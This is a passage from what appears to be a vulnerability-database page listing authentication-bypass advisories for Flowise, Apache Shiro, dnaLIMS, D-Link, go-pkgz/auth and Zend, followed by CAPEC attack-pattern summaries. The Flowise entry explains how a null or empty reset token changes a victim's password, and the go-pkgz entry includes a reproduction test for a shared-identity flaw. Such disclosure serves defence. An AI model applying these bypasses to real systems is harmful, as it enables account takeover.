Added comments are prepended with \"!!!\".\nFrom packages/server/src/enterprise/services/account.service.ts\n```ts\n    public async resetPassword(data: AccountDTO) {\n        data = this.initializeAccountDTO(data) \n        const queryRunner = this.dataSource.createQueryRunner()\n        await queryRunner.connect()\n        try {\n            const user = await this.userService.readUserByEmail(data.user.email, queryRunner)  //!!! retrieve stored user info by email address\n            if (!user) throw new InternalFlowiseError(StatusCodes.NOT_FOUND, UserErrorMessage.USER_NOT_FOUND)\n            //!!!user.tempToken is null or empty string, unless a user has requested a reset token and not used it\n            if (user.tempToken !== data.user.tempToken)  //!!! check if the stored token (null by default) matches the provided token\n                throw new InternalFlowiseError(StatusCodes.BAD_REQUEST, UserErrorMessage.INVALID_TEMP_TOKEN)\n\n            const tokenExpiry = user.tokenExpiry\n            const now = moment()\n            const expiryInMins = process.env.PASSWORD_RESET_TOKEN_EXPIRY_IN_MINUTES\n                ? parseInt(process.env.PASSWORD_RESET_TOKEN_EXPIRY_IN_MINUTES)\n                : 15\n            const diff = now.diff(tokenExpiry, \u0027minutes\u0027) //!!! check if token is expired\n            if (Math.abs(diff) \u003e expiryInMins) throw new InternalFlowiseError(StatusCodes.BAD_REQUEST, UserErrorMessage.EXPIRED_TEMP_TOKEN)\n\n            // all checks are done, now update the user password, don\u0027t forget to hash it and do not forget to clear the temp token\n            // leave the user status and other details as is\n            //!!! hash and update the user\u0027s password since checks passed\n            const salt = bcrypt.genSaltSync(parseInt(process.env.PASSWORD_SALT_HASH_ROUNDS || \u00275\u0027))\n            // @ts-ignore\n            const hash = bcrypt.hashSync(data.user.password, salt)\n            data.user = user\n            data.user.credential = hash\n            data.user.tempToken = \u0027\u0027  //!!! stored Token value is set to empty string which can also be used by an attacker to bypass the token check\n            data.user.tokenExpiry = undefined\n            data.user.status = UserStatus.ACTIVE\n\n            await queryRunner.startTransaction()\n            data.user = await this.userService.saveUser(data.user, queryRunner)  //!!! save changes to user account\n            await queryRunner.commitTransaction()\n\n            // Invalidate all sessions for this user after password reset\n            await destroyAllSessionsForUser(user.id as string)\n        } catch (error) {\n            await queryRunner.rollbackTransaction()\n            throw error\n        } finally {\n            await queryRunner.release()\n        }\n\n        return sanitizeUser(data.user)\n    }\n```\n\n### Proof of Concept\n\nA proof of concept for this vulnerability is provided in ./poc.py. It expects the following syntax:\n\n```\n    python3 poc.py --user \u003cUSER\u003e --host \u003cHOST\u003e [--port \u003cPORT\u003e] \n```\n\nWhere USER is the email address of a user on the server, HOST is the ip address of the vulnerable server, and PORT is the port the vulnerable server is listening on (default: 3000). Options inclosed in square brackets are optional.\n\nIn order for this proof of concept to be successful, the user specified as the USER argument must have created their account within the last 15 minutes (or within PASSWORD_RESET_TOKEN_EXPIRY_IN_MINUTES minutes)\n\nBy default, the poc will first send a POST request to the \"/api/v1/account/reset-password\" endpoint of the target server containing a JSON body with a null reset token and the password \"TMSR1234!\" for the user specified by the USER argument. If the request doesn\u0027t successfully change the user\u0027s password, the same request will be sent again with the reset token value set to the empty string. Upon successful exploitation, the user\u0027s password will be changed to \"TMSR1234!\".\n\nThe provided proof of concept was tested using FlowiseAI Flowise version 3.0.12 runing on a Ubuntu 24.04 VM.\n\n-- CREDIT ---------------------------------------\nThis vulnerability was discovered by:\nNicholas Zubrisky (@NZubrisky) of TrendAI Research of Trend Micro",
  "id": "GHSA-f6hc-c5jr-878p",
  "modified": "2026-04-24T21:01:09Z",
  "published": "2026-04-16T21:55:18Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-f6hc-c5jr-878p"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41276"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/FlowiseAI/Flowise"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Flowise: resetPassword Authentication Bypass Vulnerability"
}

GHSA-F6JP-J6W3-W9HM

Vulnerability from github – Published: 2021-09-20 20:18 – Updated: 2022-08-15 20:07
VLAI
Summary
Apache Shiro vulnerable to a specially crafted HTTP request causing an authentication bypass
Details

Apache Shiro before 1.8.0, when using Apache Shiro with Spring Boot, a specially crafted HTTP request may cause an authentication bypass. Users should update to Apache Shiro 1.8.0.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.shiro:shiro-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.8.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-41303"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-09-20T19:17:39Z",
    "nvd_published_at": "2021-09-17T09:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "Apache Shiro before 1.8.0, when using Apache Shiro with Spring Boot, a specially crafted HTTP request may cause an authentication bypass. Users should update to Apache Shiro 1.8.0.",
  "id": "GHSA-f6jp-j6w3-w9hm",
  "modified": "2022-08-15T20:07:11Z",
  "published": "2021-09-20T20:18:11Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-41303"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/raae98bb934e4bde304465896ea02d9798e257e486d04a42221e2c41b@%3Cuser.shiro.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/re470be1ffea44bca28ccb0e67a4cf5d744e2d2b981d00fdbbf5abc13%40%3Cannounce.shiro.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20220609-0001"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpujul2022.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Apache Shiro vulnerable to a specially crafted HTTP request causing an authentication bypass"
}

GHSA-F6P8-J644-X53M

Vulnerability from github – Published: 2022-05-13 01:46 – Updated: 2025-04-20 03:33
VLAI
Details

An issue was discovered in dnaTools dnaLIMS 4-2015s13. dnaLIMS is vulnerable to unauthenticated command execution through an improperly protected administrative web shell (cgi-bin/dna/sysAdmin.cgi POST requests).

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2017-6526"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-03-09T19:59:00Z",
    "severity": "CRITICAL"
  },
  "details": "An issue was discovered in dnaTools dnaLIMS 4-2015s13. dnaLIMS is vulnerable to unauthenticated command execution through an improperly protected administrative web shell (cgi-bin/dna/sysAdmin.cgi POST requests).",
  "id": "GHSA-f6p8-j644-x53m",
  "modified": "2025-04-20T03:33:56Z",
  "published": "2022-05-13T01:46:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-6526"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/41578"
    },
    {
      "type": "WEB",
      "url": "https://www.shorebreaksecurity.com/blog/product-security-advisory-psa0002-dnalims"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/96823"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-F6QG-MVMH-XGXV

Vulnerability from github – Published: 2022-11-22 15:30 – Updated: 2025-04-29 21:31
VLAI
Details

D-Link DIR-878 1.02B05 is vulnerable to Incorrect Access Control.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-44801"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-11-22T15:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "D-Link DIR-878 1.02B05 is vulnerable to Incorrect Access Control.",
  "id": "GHSA-f6qg-mvmh-xgxv",
  "modified": "2025-04-29T21:31:28Z",
  "published": "2022-11-22T15:30:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-44801"
    },
    {
      "type": "WEB",
      "url": "https://github.com/RobinWang825/IoT_vuln/tree/main/D-Link/DIR-878/3"
    },
    {
      "type": "WEB",
      "url": "https://www.dlink.com/en/security-bulletin"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-F6QQ-3M3H-4G42

Vulnerability from github – Published: 2026-04-30 20:47 – Updated: 2026-05-13 13:41
VLAI
Summary
auth: Patreon provider assigns the same local user ID to every authenticated Patreon account, enabling cross‑user impersonation
Details

Summary

The Patreon OAuth provider maps every authenticated Patreon account to the same local user.ID, instead of deriving a unique ID from the Patreon account returned by Patreon.

In practice, this means all Patreon-authenticated users of an application using this library are collapsed into a single local identity. Any application that trusts token.User.ID as the stable account key can end up mixing or fully merging unrelated Patreon users, which can lead to cross-account access, privilege confusion, and subscription-state leakage.

Details

The bug is in the Patreon provider's user-mapping logic.

Both the root module and the v2 module create a fresh empty token.User{} and then derive the Patreon ID from userInfo.ID before that field has been populated:

mapUser: func(data UserData, bdata []byte) token.User {
    userInfo := token.User{}

    uinfoJSON := uinfo{}
    if err := json.Unmarshal(bdata, &uinfoJSON); err == nil {
        userInfo.ID = "patreon_" + token.HashID(sha1.New(), userInfo.ID)
        userInfo.Name = uinfoJSON.Data.Attributes.FullName
        userInfo.Picture = uinfoJSON.Data.Attributes.ImageURL
        ...
    }
    return userInfo
}

Affected locations:

  • provider/providers.go:257
  • v2/provider/providers.go:257

At that point, userInfo.ID is still the empty string, so the effective result is always:

patreon_ + sha1("")

which is:

patreon_da39a3ee5e6b4b0d3255bfef95601890afd80709

for every Patreon user.

The code appears to have intended to hash the Patreon user ID returned by Patreon, i.e. uinfoJSON.Data.ID, but instead hashes the uninitialized destination field.

Why this matters:

  1. Patreon is a documented, supported provider.
  2. The library documents token.User.ID as the hashed user ID exposed to consumers.
  3. The OAuth flow stores the mapped user object in JWT claims, and middleware later injects that object into the request context verbatim, consuming handlers receive the provider's wrong user.ID as authoritative identity.

Relevant flow in v2:

  • v2/provider/oauth2.go:207 calls u := p.mapUser(...)
  • v2/provider/oauth2.go:223 stores u in token claims
  • v2/middleware/auth.go:154 copies *claims.User into request context

The existing tests already encode the broken behavior:

  • provider/providers_test.go:179
  • provider/providers_test.go:204
  • v2/provider/providers_test.go:179
  • v2/provider/providers_test.go:204

Those tests assert the constant empty-string hash value for Patreon users.

PoC

This can be reproduced locally without contacting Patreon by exercising the provider's mapUser logic with two different Patreon payloads.

From the repository root, create a temporary test file:

v2/provider/patreon_repro_test.go

package provider

import "testing"

func TestPatreonSharedIdentity(t *testing.T) {
    r := NewPatreon(Params{
        URL:     "http://example.com",
        Cid:     "cid",
        Csecret: "secret",
    })

    a := r.mapUser(UserData{}, []byte(`{
        "data": {
            "attributes": {
                "full_name": "Alice",
                "image_url": "https://example.com/alice.png"
            },
            "id": "1111111"
        }
    }`))

    b := r.mapUser(UserData{}, []byte(`{
        "data": {
            "attributes": {
                "full_name": "Bob",
                "image_url": "https://example.com/bob.png"
            },
            "id": "9999999"
        }
    }`))

    if a.ID != b.ID {
        t.Fatalf("expected IDs to collide, got %q and %q", a.ID, b.ID)
    }

    t.Logf("Alice -> %s", a.ID)
    t.Logf("Bob   -> %s", b.ID)
}

Then run:

cd v2
go test ./provider -run TestPatreonSharedIdentity -v

Expected result:

Alice -> patreon_da39a3ee5e6b4b0d3255bfef95601890afd80709
Bob   -> patreon_da39a3ee5e6b4b0d3255bfef95601890afd80709

I also confirmed this locally with three distinct Patreon data.id values; all of them produced the same patreon_da39... identity.

You can also see the same issue reflected in the existing built-in tests, which already assert this constant Patreon ID.

Impact

This is an authentication/identity-collision vulnerability in the Patreon provider.

Impacted users:

  • applications using github.com/go-pkgz/auth/provider.NewPatreon
  • applications using github.com/go-pkgz/auth/v2/provider.NewPatreon
  • applications that rely on token.User.ID as the stable local account identifier, or use it to key roles, profiles, entitlements, subscription state, or other authorization-relevant records

Practical impact:

  • all Patreon-authenticated users in the same application can collapse into the same local account
  • data associated with one Patreon user may be exposed to or overwritten by another Patreon user
  • Patreon-specific attributes such as is_paid_sub can leak across unrelated users
  • if a target application grants any elevated privileges to the local account keyed by this shared Patreon ID, those privileges can effectively apply to every Patreon login

Suggested Fix

The Patreon provider should derive the user ID from the Patreon account ID returned by Patreon, not from the uninitialized destination struct.

In both of these files:

  • provider/providers.go
  • v2/provider/providers.go

change:

userInfo.ID = "patreon_" + token.HashID(sha1.New(), userInfo.ID)

to:

userInfo.ID = "patreon_" + token.HashID(sha1.New(), uinfoJSON.Data.ID)

I would also recommend adding a regression test with at least two different Patreon data.id values and asserting that they produce different local IDs.

Because the current bug causes all Patreon users to share a single local ID, maintainers may also want to consider migration guidance for consumers who already have Patreon-linked local accounts created under the broken identifier.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.25.1"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/go-pkgz/auth"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.18.0"
            },
            {
              "fixed": "1.25.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.1.1"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/go-pkgz/auth/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.1.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42560"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-30T20:47:24Z",
    "nvd_published_at": "2026-05-09T06:16:10Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\nThe Patreon OAuth provider maps every authenticated Patreon account to the same local `user.ID`, instead of deriving a unique ID from the Patreon account returned by Patreon.\n\nIn practice, this means all Patreon-authenticated users of an application using this library are collapsed into a single local identity. Any application that trusts `token.User.ID` as the stable account key can end up mixing or fully merging unrelated Patreon users, which can lead to cross-account access, privilege confusion, and subscription-state leakage.\n\n### Details\nThe bug is in the Patreon provider\u0027s user-mapping logic.\n\nBoth the root module and the `v2` module create a fresh empty `token.User{}` and then derive the Patreon ID from `userInfo.ID` before that field has been populated:\n\n```go\nmapUser: func(data UserData, bdata []byte) token.User {\n    userInfo := token.User{}\n\n    uinfoJSON := uinfo{}\n    if err := json.Unmarshal(bdata, \u0026uinfoJSON); err == nil {\n        userInfo.ID = \"patreon_\" + token.HashID(sha1.New(), userInfo.ID)\n        userInfo.Name = uinfoJSON.Data.Attributes.FullName\n        userInfo.Picture = uinfoJSON.Data.Attributes.ImageURL\n        ...\n    }\n    return userInfo\n}\n```\n\nAffected locations:\n\n- `provider/providers.go:257`\n- `v2/provider/providers.go:257`\n\nAt that point, `userInfo.ID` is still the empty string, so the effective result is always:\n\n```text\npatreon_ + sha1(\"\")\n```\n\nwhich is:\n\n```text\npatreon_da39a3ee5e6b4b0d3255bfef95601890afd80709\n```\n\nfor every Patreon user.\n\nThe code appears to have intended to hash the Patreon user ID returned by Patreon, i.e. `uinfoJSON.Data.ID`, but instead hashes the uninitialized destination field.\n\nWhy this matters:\n\n1. Patreon is a documented, supported provider.\n2. The library documents `token.User.ID` as the hashed user ID exposed to consumers.\n3. The OAuth flow stores the mapped user object in JWT claims, and middleware later injects that object into the request context verbatim, consuming handlers receive the provider\u0027s wrong user.ID as authoritative identity.\n\nRelevant flow in `v2`:\n\n- `v2/provider/oauth2.go:207` calls `u := p.mapUser(...)`\n- `v2/provider/oauth2.go:223` stores `u` in token claims\n- `v2/middleware/auth.go:154` copies `*claims.User` into request context\n\nThe existing tests already encode the broken behavior:\n\n- `provider/providers_test.go:179`\n- `provider/providers_test.go:204`\n- `v2/provider/providers_test.go:179`\n- `v2/provider/providers_test.go:204`\n\nThose tests assert the constant empty-string hash value for Patreon users.\n\n### PoC\nThis can be reproduced locally without contacting Patreon by exercising the provider\u0027s `mapUser` logic with two different Patreon payloads.\n\nFrom the repository root, create a temporary test file:\n\n`v2/provider/patreon_repro_test.go`\n\n```go\npackage provider\n\nimport \"testing\"\n\nfunc TestPatreonSharedIdentity(t *testing.T) {\n    r := NewPatreon(Params{\n        URL:     \"http://example.com\",\n        Cid:     \"cid\",\n        Csecret: \"secret\",\n    })\n\n    a := r.mapUser(UserData{}, []byte(`{\n        \"data\": {\n            \"attributes\": {\n                \"full_name\": \"Alice\",\n                \"image_url\": \"https://example.com/alice.png\"\n            },\n            \"id\": \"1111111\"\n        }\n    }`))\n\n    b := r.mapUser(UserData{}, []byte(`{\n        \"data\": {\n            \"attributes\": {\n                \"full_name\": \"Bob\",\n                \"image_url\": \"https://example.com/bob.png\"\n            },\n            \"id\": \"9999999\"\n        }\n    }`))\n\n    if a.ID != b.ID {\n        t.Fatalf(\"expected IDs to collide, got %q and %q\", a.ID, b.ID)\n    }\n\n    t.Logf(\"Alice -\u003e %s\", a.ID)\n    t.Logf(\"Bob   -\u003e %s\", b.ID)\n}\n```\n\nThen run:\n\n```bash\ncd v2\ngo test ./provider -run TestPatreonSharedIdentity -v\n```\n\nExpected result:\n\n```text\nAlice -\u003e patreon_da39a3ee5e6b4b0d3255bfef95601890afd80709\nBob   -\u003e patreon_da39a3ee5e6b4b0d3255bfef95601890afd80709\n```\n\nI also confirmed this locally with three distinct Patreon `data.id` values; all of them produced the same `patreon_da39...` identity.\n\nYou can also see the same issue reflected in the existing built-in tests, which already assert this constant Patreon ID.\n\n### Impact\nThis is an authentication/identity-collision vulnerability in the Patreon provider.\n\nImpacted users:\n\n- applications using `github.com/go-pkgz/auth/provider.NewPatreon`\n- applications using `github.com/go-pkgz/auth/v2/provider.NewPatreon`\n- applications that rely on `token.User.ID` as the stable local account identifier, or use it to key roles, profiles, entitlements, subscription state, or other authorization-relevant records\n\nPractical impact:\n\n- all Patreon-authenticated users in the same application can collapse into the same local account\n- data associated with one Patreon user may be exposed to or overwritten by another Patreon user\n- Patreon-specific attributes such as `is_paid_sub` can leak across unrelated users\n- if a target application grants any elevated privileges to the local account keyed by this shared Patreon ID, those privileges can effectively apply to every Patreon login\n\n\n### Suggested Fix\nThe Patreon provider should derive the user ID from the Patreon account ID returned by Patreon, not from the uninitialized destination struct.\n\nIn both of these files:\n\n- `provider/providers.go`\n- `v2/provider/providers.go`\n\nchange:\n\n```go\nuserInfo.ID = \"patreon_\" + token.HashID(sha1.New(), userInfo.ID)\n```\n\nto:\n\n```go\nuserInfo.ID = \"patreon_\" + token.HashID(sha1.New(), uinfoJSON.Data.ID)\n```\n\nI would also recommend adding a regression test with at least two different Patreon `data.id` values and asserting that they produce different local IDs.\n\nBecause the current bug causes all Patreon users to share a single local ID, maintainers may also want to consider migration guidance for consumers who already have Patreon-linked local accounts created under the broken identifier.",
  "id": "GHSA-f6qq-3m3h-4g42",
  "modified": "2026-05-13T13:41:17Z",
  "published": "2026-04-30T20:47:24Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/go-pkgz/auth/security/advisories/GHSA-f6qq-3m3h-4g42"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42560"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-pkgz/auth/commit/c0b15ee72a8401da83c01781c16636c521f42698"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/go-pkgz/auth"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-pkgz/auth/releases/tag/v1.25.2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-pkgz/auth/releases/tag/v2.1.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "auth: Patreon provider assigns the same local user ID to every authenticated Patreon account, enabling cross\u2011user impersonation"
}

GHSA-F6RC-RH43-H8GR

Vulnerability from github – Published: 2022-05-17 00:28 – Updated: 2024-04-23 23:12
VLAI
Summary
Zend Access Restriction Bypass
Details

The (1) Zend_Ldap class in Zend before 1.12.9 and (2) Zend\Ldap component in Zend 2.x before 2.2.8 and 2.3.x before 2.3.3 allows remote attackers to bypass authentication via a password starting with a null byte, which triggers an unauthenticated bind.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "zendframework/zendframework"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.0.99"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "zendframework/zendframework"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.1.0"
            },
            {
              "fixed": "2.1.99"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "zendframework/zendframework"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.2.0"
            },
            {
              "fixed": "2.2.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "zendframework/zendframework"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.3.0"
            },
            {
              "fixed": "2.3.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "zendframework/zendframework1"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.12.0"
            },
            {
              "fixed": "1.12.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2014-8088"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-04-23T23:12:26Z",
    "nvd_published_at": "2014-10-22T14:55:00Z",
    "severity": "MODERATE"
  },
  "details": "The (1) Zend_Ldap class in Zend before 1.12.9 and (2) Zend\\Ldap component in Zend 2.x before 2.2.8 and 2.3.x before 2.3.3 allows remote attackers to bypass authentication via a password starting with a null byte, which triggers an unauthenticated bind.",
  "id": "GHSA-f6rc-rh43-h8gr",
  "modified": "2024-04-23T23:12:26Z",
  "published": "2022-05-17T00:28:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2014-8088"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zendframework/zendframework/commit/a4222a6c1dc809f0f32fdafcd1ac4d583a075f2f"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/97038"
    },
    {
      "type": "WEB",
      "url": "https://framework.zend.com/security/advisory/ZF2014-05"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/zendframework/zendframework/CVE-2014-8088.yaml"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/zendframework/zendframework1/CVE-2014-8088.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/zendframework/zendframework"
    },
    {
      "type": "WEB",
      "url": "http://lists.fedoraproject.org/pipermail/package-announce/2014-October/141070.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.fedoraproject.org/pipermail/package-announce/2014-October/141106.html"
    },
    {
      "type": "WEB",
      "url": "http://www.debian.org/security/2015/dsa-3265"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2014/10/10/5"
    },
    {
      "type": "WEB",
      "url": "http://www.oracle.com/technetwork/topics/security/bulletinjan2015-2370101.html"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/70378"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "Zend Access Restriction Bypass"
}

Mitigation
Architecture and Design

Strategy: Libraries or Frameworks

Use an authentication framework or library such as the OWASP ESAPI Authentication feature.

CAPEC-114: Authentication Abuse

An attacker obtains unauthorized access to an application, service or device either through knowledge of the inherent weaknesses of an authentication mechanism, or by exploiting a flaw in the authentication scheme's implementation. In such an attack an authentication mechanism is functioning but a carefully controlled sequence of events causes the mechanism to grant access to the attacker.

CAPEC-115: Authentication Bypass

An attacker gains access to application, service, or device with the privileges of an authorized or privileged user by evading or circumventing an authentication mechanism. The attacker is therefore able to access protected data without authentication ever having taken place.

CAPEC-151: Identity Spoofing

Identity Spoofing refers to the action of assuming (i.e., taking on) the identity of some other entity (human or non-human) and then using that identity to accomplish a goal. An adversary may craft messages that appear to come from a different principle or use stolen / spoofed authentication credentials.

CAPEC-194: Fake the Source of Data

An adversary takes advantage of improper authentication to provide data or services under a falsified identity. The purpose of using the falsified identity may be to prevent traceability of the provided data or to assume the rights granted to another individual. One of the simplest forms of this attack would be the creation of an email message with a modified "From" field in order to appear that the message was sent from someone other than the actual sender. The root of the attack (in this case the email system) fails to properly authenticate the source and this results in the reader incorrectly performing the instructed action. Results of the attack vary depending on the details of the attack, but common results include privilege escalation, obfuscation of other attacks, and data corruption/manipulation.

CAPEC-22: Exploiting Trust in Client

An attack of this type exploits vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client. An attacker executes this type of attack by communicating directly with the server where the server believes it is communicating only with a valid client. There are numerous variations of this type of attack.

CAPEC-57: Utilizing REST's Trust in the System Resource to Obtain Sensitive Data

This attack utilizes a REST(REpresentational State Transfer)-style applications' trust in the system resources and environment to obtain sensitive data once SSL is terminated.

CAPEC-593: Session Hijacking

This type of attack involves an adversary that exploits weaknesses in an application's use of sessions in performing authentication. The adversary is able to steal or manipulate an active session and use it to gain unathorized access to the application.

CAPEC-633: Token Impersonation

An adversary exploits a weakness in authentication to create an access token (or equivalent) that impersonates a different entity, and then associates a process/thread to that that impersonated token. This action causes a downstream user to make a decision or take action that is based on the assumed identity, and not the response that blocks the adversary.

CAPEC-650: Upload a Web Shell to a Web Server

By exploiting insufficient permissions, it is possible to upload a web shell to a web server in such a way that it can be executed remotely. This shell can have various capabilities, thereby acting as a "gateway" to the underlying web server. The shell might execute at the higher permission level of the web server, providing the ability the execute malicious code at elevated levels.

CAPEC-94: Adversary in the Middle (AiTM)

An adversary targets the communication between two components (typically client and server), in order to alter or obtain data from transactions. A general approach entails the adversary placing themself within the communication channel between the two components.